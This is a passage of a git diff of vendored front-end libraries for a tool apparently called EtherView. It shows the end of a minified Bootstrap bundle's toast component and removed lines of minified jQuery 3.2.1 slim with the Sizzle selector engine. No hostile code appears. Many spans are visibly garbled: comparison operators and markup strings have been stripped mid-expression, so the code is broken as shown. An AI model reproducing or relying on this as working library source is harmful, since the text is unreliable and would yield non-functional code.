NAME(){return"toast"}show(){P.trigger(this._element,"show.bs.toast").defaultPrevented||(this._clearTimeout(),this._config.animation&&this._element.classList.add("fade"),this._element.classList.remove("hide"),f(this._element),this._element.classList.add("showing"),this._queueCallback(()=>{this._element.classList.remove("showing"),this._element.classList.add("show"),P.trigger(this._element,"shown.bs.toast"),this._maybeScheduleHide()},this._element,this._config.animation))}hide(){this._element.classList.contains("show")&&(P.trigger(this._element,"hide.bs.toast").defaultPrevented||(this._element.classList.remove("show"),this._queueCallback(()=>{this._element.classList.add("hide"),P.trigger(this._element,"hidden.bs.toast")},this._element,this._config.animation)))}dispose(){this._clearTimeout(),this._element.classList.contains("show")&&this._element.classList.remove("show"),super.dispose()}_getConfig(t){return t={...ii,...U.getDataAttributes(this._element),..."object"==typeof t&&t?t:{}},l("toast",t,this.constructor.DefaultType),t}_maybeScheduleHide(){this._config.autohide&&(this._hasMouseInteraction||this._hasKeyboardInteraction||(this._timeout=setTimeout(()=>{this.hide()},this._config.delay)))}_onInteraction(t,e){switch(t.type){case"mouseover":case"mouseout":this._hasMouseInteraction=e;break;case"focusin":case"focusout":this._hasKeyboardInteraction=e}if(e)return void this._clearTimeout();const i=t.relatedTarget;this._element===i||this._element.contains(i)||this._maybeScheduleHide()}_setListeners(){P.on(this._element,"click.dismiss.bs.toast",'[data-bs-dismiss="toast"]',()=>this.hide()),P.on(this._element,"mouseover.bs.toast",t=>this._onInteraction(t,!0)),P.on(this._element,"mouseout.bs.toast",t=>this._onInteraction(t,!1)),P.on(this._element,"focusin.bs.toast",t=>this._onInteraction(t,!0)),P.on(this._element,"focusout.bs.toast",t=>this._onInteraction(t,!1))}_clearTimeout(){clearTimeout(this._timeout),this._timeout=null}static jQueryInterface(t){return this.each((function(){const e=ni.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}return _(ni),{Alert:W,Button:q,Carousel:Z,Collapse:et,Dropdown:Ae,Modal:De,Offcanvas:Ne,Popover:Qe,ScrollSpy:Je,Tab:ti,Toast:ni,Tooltip:Fe}})); //# sourceMappingURL=bootstrap.bundle.min.js.map \ No newline at end of file diff --git a/tools/Blockchain/EtherView/server/static/js/jquery-3.2.1.slim.min.js b/tools/Blockchain/EtherView/server/static/js/jquery-3.2.1.slim.min.js index 105d00e61..096dc6215 100644 --- a/tools/Blockchain/EtherView/server/static/js/jquery-3.2.1.slim.min.js +++ b/tools/Blockchain/EtherView/server/static/js/jquery-3.2.1.slim.min.js @@ -1,4 +1,4 @@ -/*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector | (c) JS Foundation and other contributors | jquery.org/license */ -!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return 